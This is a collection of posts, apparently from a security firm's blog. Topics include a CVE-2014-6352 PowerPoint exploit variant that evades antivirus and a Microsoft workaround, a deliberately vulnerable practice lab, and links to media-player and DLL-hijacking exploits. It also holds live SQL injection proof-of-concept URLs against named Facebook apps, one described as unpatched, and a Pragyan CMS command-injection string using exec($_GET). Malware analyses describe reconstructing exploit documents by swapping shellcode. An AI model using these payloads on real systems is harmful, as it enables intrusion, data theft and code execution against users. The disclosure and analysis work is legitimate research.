CVE-2014-6352 When defenses fall - eliminating the use of .inf files and bypassing Antiviruses!

Regarding CVE-2014-6352 and CVE-2014-4114 as we know .inf files were used in malware samples found in the wild to execute the executable payloads. One of the workaround from Microsoft was to Block the launching of executables via Setup information files (https://technet.microsoft.com/en-us/library/security/ms14-060.aspx)

But  CVE-2014-6352 requires .inf files to execute the payload is a myth which we are going to bust in this blog.

We took a public sample with embedded executable and .inf. When we unzipped it there were 2 ole objects there

OleObject1.bin - which is embedded executable
OleObject2.bin - which is exbedded .inf file

We created another ole object with putty.exe as executable payload. Renamed it as OleObject2.bin

Replaced it in exploit sample and created .ppsx file. When we executed the POC ppxs BOOM our payload got executed proving that using .inf files in not necessary in this particular exploit.

With this method we bypassed 3 things:

1) One of the workaround from MS to prevent the exploit
2) Antivirus signatures
3) Size limit of the executable

Below is the AV scan report of the POC we created. And its a bad news that none of the major AV detects the exploit.

ASL HackMe Labs - Yet another vulnerable web application!

ASL HackMe Labs is yet another vulnerabile web application to practice various web based attacks. You can practice many web application attacks with these labs. Can be installed in both XAMPP and WAMPP.
To install extract all contents in web root.
Create a database named "security" and import security.sql file to it.
For RFI to work set allow_url_include=On and allow_url_fopen=On in your php.ini


Attacks You Can Practice With ASL HackMe Labs are

1) SQLi login bypass
2) SQLi Error Based
3) SQLi UNION based
4) Bilnd SQLi
5) SQLi filter bypassing
6) SQLi with INSERT_INTO
7) User Agent based SQLi
8) XSS through SQLi
9) Upload webshell through SQLi
10) XSS
11) User Agent based XXS
12) Full Path Disclosure
13) LFI
14) RFI
15) PHP Wrapper injections
16) Cookie based SQLi
17) Image Upload bypasses
18) Javascript Login Bypass
19) Logs Poisoning
20) Remote Command Execution
21) Header Injections

There are three realistic scenarios also.


Download ASL HackMe Labs Here




Keep checking our blog and youtube channel for ASL HackMe Labs tutorials:
Blog: http://www.aslitsecurity.blogspot.com/
Youtube Channel: https://www.youtube.com/channel/UCvQqfl3gCjepWk5VwMJS5oA
Website: www.aslitsecurity.com
Trainings: www.training.aslitsecurity.com

CVE-2014-6352 OLE Remote Code Execution Vulnerability

Here is working exploit POC for CVE-2014-6352 OLE Remote Code Execution Vulnerability. Available through our exploit subscription and binary analysis program.

MS Word RTFPfragments exploit for office 2008 OSX

Please download the code from

http://www.exploit-db.com/exploits/18749

http://www.1337day.com/exploits/18068

AOL search XSS

XSS vulnerability in AOL search. We are trying to contact the AOL team. No reply from them yet.

Yahoo Cross Site Scripting Vulnerability!

There is a Cross Site Scripting Vulnerability in yahoo.com subdomain. Its in upcoming.yahoo.com . This vulnerability allows the attacker to steal cookies and perform session hijacking attacks or use XSS worms. The vendor has been notified regarding the vulnerability details.

SAP Player 0.9 (.m3u) universal

This exploit uses direct return address. Not SEH version


http://packetstormsecurity.org/files/view/102792/sapplayer-overflow.py.txt

Another vulnerability in facebook apps!

This is second sql injection we found in facebook apps.

We tried to contact developers but got no response from them. So we decided to release the vulnerability.

Note:: There are few more facebook apps which we found are vulnerable to sql injection attacks. We are waiting for the developers to patch those. We will post them as soon as they are patched.

A Proof Of Concept of the vulnerability can be seen at::

http://apps.facebook.com/lucygames/game.php?gameid=-123%20UNION%20SELECT%20null,%28select%20concat%280x3a,unhex%28Hex%28cast%28group_concat%28table_name%29%20as%20char%29%29%29,0x3a%29%20FROM%20information_schema.tables%20Where%20table_schema=0x6C75637967616D6573%29,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--

Sql Injection in Facebook applications!

We found a vulnerability in 2 facebook applications. One is patched now so we are disclosing the vulnerability.


There was a SQL Injection vulnerability in apps.facebook.com

Vendor::twmarketplace
Location:: http://apps.facebook.com/twmarketplace/post.php?postid=
Severity:: Critical
Impact:: Database access/server control


It was possible to extract all data of all databases located on that servers


Changelog::
7/3/2010 - Facebook vendors notified
8/3/2010 - Response from verdor
8/3/2010 - Vendor patched the vulnerability
9/3/2010 - Public disclosure

Pragyan CMS v 3,0 mulltiple vulnerabilities!

During the Pragyan's hacking challange we found these vulnerabilities in their open source CMS.


#Pragyan CMS v 3.0 mutiple Vulnerabilities


#Author Villy and Abhishek Lyall - villys777[at]gmail[dot]com,

abhilyall[at]gmail[dot]com

#Web - http://www.aslitsecurity.com/

#Blog - http://bugix-security.blogspot.com

#http://www.aslitsecurity.blogspot.com/

#Pragyan CMS v 3.0



Technical Description





1) Code execution in INSTALL/install.php

script not correctly validate entered fields.

possibility to write at password field string:



");echo exec($_GET["a"]);echo ("



or in another fields with turned of javascript.

in cms/config.inc.php will be code:

define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo ("");

which allows command execution.



EXPLOIT:: http://target.com/blog/cms/config.inc.php?a=ls -la



2) sql injection

- get mysql version EXPLOIT::

http://target.com/path/+view&thread_id=-1 UNION ALL SELECT

null,null,null,null,concat(unhex(Hex(cast(@@version as

char)))),null,null,null--



Solution

update to Pragyan CMS 3.0 rev.274



Changelog

2011-19-02 : Initial release

2011-20-02 : Reported to vendor

2011-25-02 : patch released

2011-25-02 : public disclose



Credits

Villy

Abhishek Lyall

pragyan.org

http://bugix-security.blogspot.com

http://www.aslitsecurity.blogspot.com/





Abhishek Lyall

Digital Music Pad v8.2.3.4.8 (.pls) SEH Overflow!

http://www.exploit-db.com/exploits/15855/

Video Workstation Version 5.3.9.4 dll hijacking (iacenc.dll, ir50_lcs.dll)!!

http://inj3ct0r.com/exploits/14314

iworkstation Version 9.3.2.1.4 dll hijacking exploit

http://inj3ct0r.com/exploits/14286

Quick Player 1.3 Unicode SEH Exploit.

http://www.exploit-db.com/exploits/15156

http://inj3ct0r.com/exploits/14339

http://packetstormsecurity.org/1009-exploits/quickplayer-sehoverwrite.txt

Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module

http://www.metasploit.com/svn/framework3/trunk/modules/exploits/windows/fileformat/digital_music_pad_pls.rb

http://www.exploit-db.com/exploits/15134

http://inj3ct0r.com/exploits/14339

http://packetstormsecurity.org/1009-exploits/digital_music_pad_pls.rb.txt

DJ Studio Pro Version 8.1.3.2.1 SEH Exploit!

http://www.exploit-db.com/exploits/15031

http://inj3ct0r.com/exploits/14098

Audiotran 1.4.2.4 SEH Overflow Exploit!

http://www.exploit-db.com/exploits/14961

http://inj3ct0r.com/exploits/14059

http://packetstormsecurity.org/1009-exploits/audiotran1424-overflow.txt

Virtual DJ Trial 6.1.2 SEH Buffer Overflow Crash Proof of Concept!

http://www.exploit-db.com/exploits/14909

http://inj3ct0r.com/exploits/13990

http://packetstormsecurity.org/1009-exploits/virtualdjtrial-overflow.txt

Recreating exploits from malware samples found in the Wild!!!

This time we are releasing analysis of a malicious OLE document. This Malware exploits vulnerability in MS Word 2003. CVE-2006-6456


The malware sample for analysis is available at Mila’s blog (Greets Mila :)
http://contagiodump.blogspot.com/2010/09/cve-2009-4324-pdf-cmsisixthannualconfer.html


When we analyze with Offviz we see that there in invalid value for sprm.sgc

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
When we parse the document with OfficeMalScanner from http://www.reconstructer.org/code.html we find embedded OLE file at offset 0xdc00 and embedded executable at 0x4c00 encoded with XOR key 0x95
 
 
 

 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
We remove the malicious executable and the OLE file from the exploits file. Now we are left with the exploit file along with shellcode. We analyze the remaining (clean.doc) exploit file in Hex Workshop we find another XOR’ed section encoded with same key 0x95. This might be the encoded shellcode.
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
So we extract this section and convert it into exe from http://sandsprite.com/shellcode_2_exe.php to analyze it in debugger. Here we see the shellcode IS actually XOR’ed with 0x95 key
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
We Decode the shellcode and analyze in HEX again. We see that shellcode writes the exe to disk as SUCHOST.EXE.
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
So now we got the location of shellcode also. Here we can remove the shellcode of malware and replace it with our shellcode.




The original malware, extracted executable, extracted OLE document, shellcode, decoded shellcode and a reconstructed POC file which calc.exe can be downloaded from::: http://www.mediafire.com/download.php?u55xgb1jpasp8na



There are 2 POC files one executes CMD.exe and other one executed CLAC.exe. Tested on XP SP 2 Office 2003.....



Greetz:: Mila, Villy, Puneet Jain, WEBDevil, ASL IT Sec Team



References::
http://contagiodump.blogspot.com/


http://www.reconstructer.org/


http://sandsprite.com/products.html

Microsoft Office Property Code Execution exploit (CVE-2006-2389) Analysis!!

The Sample is from http://contagiodump.blogspot.com/ Thanks Mila =)

All Files and recreated exploit code are uploaded at http://www.mediafire.com/download.php?t1ks9dexkxaku87 for analysis...



Exploit added at :::

http://inj3ct0r.com/exploits/13903

http://packetstormsecurity.org/1008-exploits/mop-exec.txt
 
This file exploits the vulnerability CVE-2006-2389.The Document size is 292864 bytes. There is an executable and real doc file embedded in this file.




Upon executing this file an executable is dropped which is embedded at offset 0x18200. This executable is XOR’ed with 32 bit key 0x58E5F269 and also the first 512 bytes are flipped using 16 bit byte flip operation. The size of this exe is 90112 bytes.

Additionally This dropped executable also drops an exe named “NAVPInst.exe” of size 28672 bytes



From offset 0x2e200 an genuine DOC file is embedded. Its size is 103936 bytes. The first 4 bytes of doc file which are 0xD0CF11E0 are replaced by 0xCFD0E011.

The shellcode starts from offset 0x16738 and 0x16a08 which writes the executable and the genuine doc file to the disc and executes it.